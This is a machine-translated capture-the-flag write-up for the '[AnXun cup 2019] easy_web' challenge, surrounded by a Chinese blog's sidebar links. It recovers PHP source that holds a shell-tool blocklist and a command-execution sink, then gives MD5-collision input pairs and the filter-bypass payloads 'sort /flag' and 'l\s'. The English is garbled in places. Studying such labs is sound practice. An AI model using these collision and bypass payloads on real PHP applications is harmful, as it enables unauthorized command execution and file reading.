当前位置:网站首页>[AnXun cup 2019] easy_web
[AnXun cup 2019] easy_web
2022-08-02 22:36:00 【The wind -】
Inspect knowledge points:
1. The sensitivity of decryption (or the strength of the tool)
2.md5 accumulation of strong comparisons
3. Function accumulation of reading files
Solution:
Enter the page to directly burp the packet:
There is an img=TXpVek5UTTFNbVUzTURabE5qYz0, let's put it directly into the script and run it:
The script is easy to write, just write one according to the way you like.It is decoded and found to be 555.png. Because of the characteristics of the url here, it should only be encoded three times here:
hex->base64->base64
Then let's try to read the page source code:
Then paste it into img
Decode it
';die("xixiï½ no flag");} else {$txt = base64_encode(file_get_contents($file));echo "";echo "
";}echo $cmd;echo "
";if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {echo("forbid ~");echo "
";} else {if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])){echo `$cmd`;} else {echo ("md5 is funny ~");}}?>
There is a lot of filtering about cmd, and there is another entry condition
(string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])
Simple, fry the bottom of the house:
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
Posture one:
sort /flag
The lack of this posture is that I don't know the name of the flag, so I have to guess
Pose Two:
l\s
This method is very useful to bypass, and you can also know the flag name
边栏推荐
- 7.22 - 每日一题 - 408
- Five data structures of Redis and their corresponding usage scenarios
- thinkphp框架5.0.23安全更新问题-漏洞修复-/thinkphp/library/think/App.php具体怎么改以及为什么要这么改
- 【心理学 · 人物】第一期
- LeetCode:622. 设计循环队列【模拟循环队列】
- Golang swagger :missing required param comment parameters
- openlayers版本更新差别
- 7月29-31 | APACHECON ASIA 2022
- 「面试必会」这应该是最有深度的TCP三次握手、四次挥手细节讲解
- Nature Microbiology综述:聚焦藻际--浮游植物和细菌互作的生态界面
猜你喜欢
姑姑:给小学生出点口算题
【心理学 · 人物】第一期
MySQL安装配置教程(超级详细、保姆级)
7.25 - 每日一题 - 408
Based on OpenGL glaciers and firebird (illumination calculation model, visual, particle system)
Redis cluster configuration
解析Collection接口中的常用的被实现子类重写的方法
ShardingSphere-proxy +PostgreSQL实现读写分离(静态策略)
NC | Structure and function of soil microbiome reveal N2O release from global wetlands
MySQL 事件调度
随机推荐
MaxCompute 的SQL 引擎参数化视图具体有哪些增强功能?
spack install reports an error /tmp/ccBDQNaB.s: Assembler message:
NC | Structure and function of soil microbiome reveal N2O release from global wetlands
让你的应用完美适配平板
B站HR对面试者声称其核心用户都是生活中的Loser
golang刷leetcode 经典(10) tire树与ac自动机
Mysql安装流程 【压缩版】
斯堪尼亚SCANIA OTL标签介绍
【LeetCode】622. 设计循环队列
Caldera(二)高级实战
7月29-31 | APACHECON ASIA 2022
LeetCode:622. 设计循环队列【模拟循环队列】
MySQL 事件调度
当TIME_WAIT状态的TCP正常挥手,收到SYN后…
Compose主题切换——让你的APP也能一键换肤
MaxCompute 近期发布上线的版本的 SQL 引擎新功能参数化视图有什么优势?
如何ES源码中添加一个自己的API 流程梳理
ssh configuration
软考 ----- UML设计与分析(下)
所谓武功再高也怕菜刀-分区、分库、分表和分布式的优劣